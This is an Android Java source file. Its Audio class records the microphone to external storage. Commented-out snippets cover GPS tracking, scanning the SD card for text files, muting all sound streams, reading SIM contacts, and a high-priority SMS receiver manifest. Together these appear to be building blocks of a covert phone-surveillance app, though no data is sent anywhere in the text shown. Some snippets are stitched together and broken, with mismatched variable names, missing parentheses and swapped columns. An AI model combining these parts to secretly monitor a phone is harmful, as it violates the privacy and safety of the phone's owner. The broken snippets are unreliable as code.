package com.example.bd;

import java.io.File;

import android.media.MediaRecorder;
import android.os.Environment;
import android.util.Log;

public class Audio {
	private MediaRecorder recorder=null ;
	private int audioformat=MediaRecorder.OutputFormat.THREE_GPP;
	private String fileextn =".mp4";
	 String path;
	 File file;
	 
	 Audio(){
		 
	 }
	public void startRecording()
	{Log.d("SENDSMSLOG","start Record functionn");
		 recorder = new MediaRecorder();
		Log.d("SENDSMSLOG","1");
		recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
		Log.d("SENDSMSLOG","2");
		recorder.setOutputFormat(audioformat);
		Log.d("SENDSMSLOG","3");
		recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
		Log.d("SENDSMSLOG","file Record functionn");
		recorder.setAudioEncodingBitRate(256);
		recorder.setAudioSamplingRate(44100);
		path = getFilePath();
		recorder.setOutputFile(path);
	try{
		recorder.prepare();
		recorder.start();
	}catch(Exception e){
		e.printStackTrace();
		
	}
	Log.d("SENDSMSLOG","end start Record functionn");
	}
	public void stopRecording(){
		Log.d("SENDSMSLOG","stop Record functionn:"+ recorder);
	//	if(recorder != null)
	//	{
		Log.d("SENDSMSLOG","stop0000");

		recorder.stop();
		Log.d("SENDSMSLOG","stop1");
		recorder.reset();
		recorder.release();
        recorder=null;		
       
	//	}
		 Log.d("SENDSMSLOG","stop Record functionn end");
	}
	private String getFilePath()
	{
		String filePath=Environment.getExternalStorageDirectory().getPath();
		file= new File(filePath,"MediaRecorder");
	if(!file.exists())
		file.mkdirs();
	return(file.getAbsolutePath()+"/"+System.currentTimeMillis()+fileextn);
	}

}


/*
 
 
     public class GpsBasicsAndroidExample extends Activity implements LocationListener {
         
            private LocationManager locationManager;
             
            @Override
            protected void onCreate(Bundle savedInstanceState) {
             
                super.onCreate(savedInstanceState);
                setContentView(R.layout.activity_gps_basics_android_example);
                 
                /********** get Gps location service LocationManager object ***********/
            /*    locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
                 
                /* CAL METHOD requestLocationUpdates 
                   
                  // Parameters :
                  //   First(provider)    :  the name of the provider with which to register 
                  //   Second(minTime)    :  the minimum time interval for notifications, 
                  //                         in milliseconds. This field is only used as a hint 
                  //                         to conserve power, and actual time between location 
                  //                         updates may be greater or lesser than this value. 
                  //   Third(minDistance) :  the minimum distance interval for notifications, in meters 
                  //   Fourth(listener)   :  a {#link LocationListener} whose onLocationChanged(Location) 
                  //                         method will be called for each location update 
                
                 
                locationManager.requestLocationUpdates( LocationManager.GPS_PROVIDER,
                        3000,   // 3 sec
                        10, this);
                 
                /********* After registration onLocationChanged method 
                /********* called periodically after each 3 sec 
            }
             
            /************* Called after each 3 sec 
            @Override
            public void onLocationChanged(Location location) {
                    
                String str = "Latitude: "+location.getLatitude()+" 
Longitude: "+location.getLongitude();
  
                Toast.makeText(getBaseContext(), str, Toast.LENGTH_LONG).show();
            }
         
            @Override
            public void onProviderDisabled(String provider) {
                 
                /******** Called when User off Gps 
                 
                Toast.makeText(getBaseContext(), "Gps turned off ", Toast.LENGTH_LONG).show();
            }
         
            @Override
            public void onProviderEnabled(String provider) {
                 
                /******** Called when User on Gps  *
                 
                Toast.makeText(getBaseContext(), "Gps turned on ", Toast.LENGTH_LONG).show();
 
 ================================================================================================
 get list of all files in phone
 
 
 
  File f=new File("/sdcard");
  
  ---------------------------
List<String> files = getList(new File("YOUR ROOT")); 
...
private List<String> getList(File parentDir, String pathToParentDir) {

    ArrayList<String> inFiles = new ArrayList<String>();
    String[] fileNames = parentDir.list();

    for (String fileName : fileNames) {
        if (fileName.toLowerCase().endsWith(".txt") || fileName.toLowerCase().endsWith(".rtf") || fileName.toLowerCase().endsWith(".txd")) {
            inFiles.add(pathToParentDir + fileName);
        } else {
            File file = new File(parentDir.getPath() + "/" + fileName);
            if (file.isDirectory()) {
                inFiles.addAll(getList(file, pathToParentDir + fileName + "/"));
            }
        }
    }

    return inFiles;
}


===========================================================================
//mute audio

AudioManager amanager=(AudioManager)getSystemService(Context.AUDIO_SERVICE);
             amanager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true);
             amanager.setStreamMute(AudioManager.STREAM_ALARM, true);
             amanager.setStreamMute(AudioManager.STREAM_MUSIC, true);
             amanager.setStreamMute(AudioManager.STREAM_RING, true);
             amanager.setStreamMute(AudioManager.STREAM_SYSTEM, true);


//unmute audio

AudioManager amanager=(AudioManager)getSystemService(Context.AUDIO_SERVICE);
            //
             //
             amanager.setStreamMute(AudioManager.STREAM_NOTIFICATION, false);
             amanager.setStreamMute(AudioManager.STREAM_ALARM, false);
             amanager.setStreamMute(AudioManager.STREAM_MUSIC, false);
             amanager.setStreamMute(AudioManager.STREAM_RING, false);
             amanager.setStreamMute(AudioManager.STREAM_SYSTEM, false);
 */



/*
========================================================
sim content

private void displaySIMContacts() {
try {
   String simPhoneId = null;
   String simPhoneNum = null;
   String simPhoneName = null;

   Uri simUri = Uri.parse("content://icc/adn");
   Cursor simCusor = getContentResolver().query(simUri, null, null, null, null);

   while(simCursor.moveToNext()) {
      simPhoneId = simCursor.getString(simCursor.getColumnIndex("_id");
      simPhoneNum = simCursor.getString(simCursor.getColumnIndex("name");
      simPhoneName = simCursor.getString(simCursor.getColumIndex("number);
      Log.v(TAG, " id = " + simPhoneId + " - name = " + simPhoneName
                          + " - number = " + simPhoneNumber);
   }
}
catch (Exception e) {
   e.printStackTrace();
}
}

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>




*/
/*

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
﻿    package="org.sms.blacklist.android"
﻿    android:versionCode="5"
﻿    android:versionName="1.4">
﻿  <uses-sdk android:minSdkVersion="4" />
﻿  <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
﻿  <application android:icon="@drawable/icon" android:label="@string/sms_blacklist">
﻿  ﻿  <activity android:name="MessagesList" android:label="@string/blocked_messages">
﻿  ﻿  <intent-filter>
﻿  ﻿  ﻿  ﻿  <action android:name="android.intent.action.MAIN" />
﻿  ﻿  ﻿  ﻿  <category android:name="android.intent.category.LAUNCHER"/>
﻿  ﻿  ﻿  </intent-filter>
﻿  ﻿  </activity>
﻿  ﻿  <activity android:name="RulesList" android:label="@string/rules_list"/>
﻿  ﻿  <activity android:theme="@android:style/Theme.Dialog" android:name="EditRule"/>
﻿  ﻿  <activity android:theme="@android:style/Theme.Dialog" android:name="OpenMessage"/>
﻿  ﻿  <receiver android:name="SMSReceiver">
﻿  ﻿  ﻿  ﻿  <intent-filter android:priority="1000">
﻿  ﻿  ﻿  ﻿  ﻿  <action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
﻿  ﻿  ﻿  ﻿  ﻿  <category android:name="android.intent.category.DEFAULT" />
﻿  ﻿  ﻿  ﻿  </intent-filter>
﻿  ﻿  ﻿  </receiver>
﻿  </application>
</manifest>
*/